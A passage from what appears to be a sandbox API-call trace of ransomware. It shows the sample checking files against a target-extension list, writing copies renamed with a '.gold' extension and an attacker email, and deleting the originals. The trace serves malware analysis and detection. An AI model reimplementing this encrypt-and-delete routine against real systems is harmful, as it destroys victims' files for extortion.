Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0096.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0096.991] lstrlenW (lpString=".doc") returned 4 [0096.991] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.991] lstrlenW (lpString=".docx") returned 5 [0096.991] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.991] lstrlenW (lpString=".pdf") returned 4 [0096.991] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.991] lstrlenW (lpString=".xls") returned 4 [0096.991] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.991] lstrlenW (lpString=".xlsx") returned 5 [0096.991] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.991] lstrlenW (lpString=".ppt") returned 4 [0096.991] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0096.991] lstrlenW (lpString=".zip") returned 4 [0096.991] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.991] lstrlenW (lpString=".rar") returned 4 [0096.991] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.991] lstrlenW (lpString=".bz2") returned 4 [0096.991] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.991] lstrlenW (lpString=".7z") returned 3 [0096.991] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0096.991] lstrlenW (lpString=".dbf") returned 4 [0096.991] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0096.991] lstrlenW (lpString=".1cd") returned 4 [0096.991] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0096.991] lstrlenW (lpString=".jpg") returned 4 [0096.991] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.992] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0096.992] lstrlenW (lpString="HH00513_.WMF") returned 12 [0096.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0096.992] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=818) returned 1 [0096.992] CloseHandle (hObject=0x3c4) returned 1 [0096.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf")) returned 0x20 [0096.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0096.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0096.993] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.993] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0096.994] GetLastError () returned 0x0 [0096.994] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x332, lpOverlapped=0x0) returned 1 [0096.996] WriteFile (in: hFile=0x3c0, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x340, lpOverlapped=0x0) returned 1 [0096.997] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0096.997] WriteFile (in: hFile=0x3c0, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0096.997] SetEndOfFile (hFile=0x3c0) returned 1 [0096.998] CloseHandle (hObject=0x3c0) returned 1 [0096.998] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.998] SetEndOfFile (hFile=0x3c4) returned 1 [0096.999] CloseHandle (hObject=0x3c4) returned 1 [0097.000] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0097.000] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf")) returned 1 [0097.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0097.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0097.000] lstrlenW (lpString=".doc") returned 4 [0097.000] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0097.000] lstrlenW (lpString=".docx") returned 5 [0097.000] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0097.000] lstrlenW (lpString=".pdf") returned 4 [0097.000] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0097.001] lstrlenW (lpString=".xls") returned 4 [0097.001] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0097.001] lstrlenW (lpString=".xlsx") returned 5 [0097.001] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0097.001] lstrlenW (lpString=".ppt") returned 4 [0097.001] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0097.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0097.001] lstrlenW (lpString=".zip") returned 4 [0097.001] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0097.001] lstrlenW (lpString=".rar") returned 4 [0097.001] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0097.001] lstrlenW (lpString=".bz2") returned 4 [0097.001] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0097.001] lstrlenW (lpString=".7z") returned 3 [0097.001] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0097.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0097.001] lstrlenW (lpString=".dbf") returned 4 [0097.001] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0097.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0097.001] lstrlenW (lpString=".1cd") returned 4 [0097.001] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0097.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0097.001] lstrlenW (lpString=".jpg") returned 4 [0097.001] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0097.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0097.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0097.001] lstrlenW (lpString=".doc") returned 4 [0097.001] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0097.001] lstrlenW (lpString=".docx") returned 5 [0097.001] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0097.001] lstrlenW (lpString=".pdf") returned 4 [0097.001] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0097.001] lstrlenW (lpString=".xls") returned 4 [0097.001] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0097.001] lstrlenW (lpString=".xlsx") returned 5 [0097.001] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0097.001] lstrlenW (lpString=".ppt") returned 4 [0097.001] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0097.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0097.001] lstrlenW (lpString=".zip") returned 4 [0097.001] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0097.001] lstrlenW (lpString=".rar") returned 4 [0097.001] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0097.001] lstrlenW (lpString=".bz2") returned 4 [0097.001] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0097.001] lstrlenW (lpString=".7z") returned 3 [0097.001] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0097.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0097.002] lstrlenW (lpString=".dbf") returned 4 [0097.002] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0097.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0097.002] lstrlenW (lpString=".1cd") returned 4 [0097.002] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0097.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0097.002] lstrlenW (lpString=".jpg") returned 4 [0097.002] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0097.002] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0097.002] lstrlenW (lpString="HH00524_.WMF") returned 12 [0097.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0097.002] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=14688) returned 1 [0097.003] CloseHandle (hObject=0x3c4) returned 1 [0097.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf")) returned 0x20 [0097.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0097.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0097.003] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0097.003] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0097.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0097.007] GetLastError () returned 0x0 [0097.007] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x3960, lpOverlapped=0x0) returned 1 [0097.552] WriteFile (in: hFile=0x3c0, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x3970, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x3970, lpOverlapped=0x0) returned 1 [0097.637] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0097.637] WriteFile (in: hFile=0x3c0, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0097.638] SetEndOfFile (hFile=0x3c0) returned 1 [0097.638] CloseHandle (hObject=0x3c0) returned 1 [0097.638] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0097.638] SetEndOfFile (hFile=0x3c4) returned 1 [0097.674] CloseHandle (hObject=0x3c4) returned 1 [0097.675] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0097.687] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf")) returned 1 [0097.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0097.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0097.688] lstrlenW (lpString=".doc") returned 4 [0097.688] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0097.688] lstrlenW (lpString=".docx") returned 5 [0097.688] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0097.688] lstrlenW (lpString=".pdf") returned 4 [0097.688] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0097.688] lstrlenW (lpString=".xls") returned 4 [0097.688] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0097.688] lstrlenW (lpString=".xlsx") returned 5 [0097.688] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0097.688] lstrlenW (lpString=".ppt") returned 4 [0097.688] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0097.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0097.688] lstrlenW (lpString=".zip") returned 4 [0097.688] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0097.688] lstrlenW (lpString=".rar") returned 4 [0097.688] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0097.688] lstrlenW (lpString=".bz2") returned 4 [0097.688] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0097.688] lstrlenW (lpString=".7z") returned 3 [0097.688] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0097.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0097.688] lstrlenW (lpString=".dbf") returned 4 [0097.688] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0097.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0097.688] lstrlenW (lpString=".1cd") returned 4 [0097.688] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0097.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0097.688] lstrlenW (lpString=".jpg") returned 4 [0097.688] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0097.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0097.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0097.688] lstrlenW (lpString=".doc") returned 4 [0097.689] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0097.689] lstrlenW (lpString=".docx") returned 5 [0097.689] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0097.689] lstrlenW (lpString=".pdf") returned 4 [0097.689] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0097.689] lstrlenW (lpString=".xls") returned 4 [0097.689] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0097.689] lstrlenW (lpString=".xlsx") returned 5 [0097.689] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0097.689] lstrlenW (lpString=".ppt") returned 4 [0097.689] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0097.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0097.689] lstrlenW (lpString=".zip") returned 4 [0097.689] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0097.689] lstrlenW (lpString=".rar") returned 4 [0097.689] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0097.689] lstrlenW (lpString=".bz2") returned 4 [0097.689] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0097.689] lstrlenW (lpString=".7z") returned 3 [0097.689] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0097.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0097.689] lstrlenW (lpString=".dbf") returned 4 [0097.689] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0097.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0097.689] lstrlenW (lpString=".1cd") returned 4 [0097.689] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0097.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0097.689] lstrlenW (lpString=".jpg") returned 4 [0097.689] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0097.689] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0097.689] lstrlenW (lpString="HH00669_.WMF") returned 12 [0097.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0098.036] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=11490) returned 1 [0098.036] CloseHandle (hObject=0x394) returned 1 [0098.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf")) returned 0x20 [0098.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0098.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0098.038] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0098.038] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0098.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0098.039] GetLastError () returned 0x0 [0098.039] ReadFile (in: hFile=0x3c0, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x2ce2, lpOverlapped=0x0) returned 1 [0098.040] WriteFile (in: hFile=0x3c4, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x2cf0, lpOverlapped=0x0) returned 1 [0098.041] ReadFile (in: hFile=0x3c0, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0098.041] WriteFile (in: hFile=0x3c4, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0098.041] SetEndOfFile (hFile=0x3c4) returned 1 [0098.041] CloseHandle (hObject=0x3c4) returned 1 [0098.042] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0098.042] SetEndOfFile (hFile=0x3c0) returned 1 [0098.043] CloseHandle (hObject=0x3c0) returned 1 [0098.043] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0098.044] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf")) returned 1 [0098.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0098.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0098.045] lstrlenW (lpString=".doc") returned 4 [0098.045] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0098.045] lstrlenW (lpString=".docx") returned 5 [0098.045] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0098.045] lstrlenW (lpString=".pdf") returned 4 [0098.045] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0098.045] lstrlenW (lpString=".xls") returned 4 [0098.045] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0098.045] lstrlenW (lpString=".xlsx") returned 5 [0098.045] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0098.045] lstrlenW (lpString=".ppt") returned 4 [0098.045] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0098.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0098.045] lstrlenW (lpString=".zip") returned 4 [0098.045] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0098.045] lstrlenW (lpString=".rar") returned 4 [0098.045] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0098.045] lstrlenW (lpString=".bz2") returned 4 [0098.045] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0098.045] lstrlenW (lpString=".7z") returned 3 [0098.045] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0098.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0098.045] lstrlenW (lpString=".dbf") returned 4 [0098.045] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0098.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0098.045] lstrlenW (lpString=".1cd") returned 4 [0098.045] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0098.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0098.045] lstrlenW (lpString=".jpg") returned 4 [0098.045] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0098.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0098.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0098.045] lstrlenW (lpString=".doc") returned 4 [0098.045] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0098.045] lstrlenW (lpString=".docx") returned 5 [0098.045] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0098.045] lstrlenW (lpString=".pdf") returned 4 [0098.045] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0098.045] lstrlenW (lpString=".xls") returned 4 [0098.045] 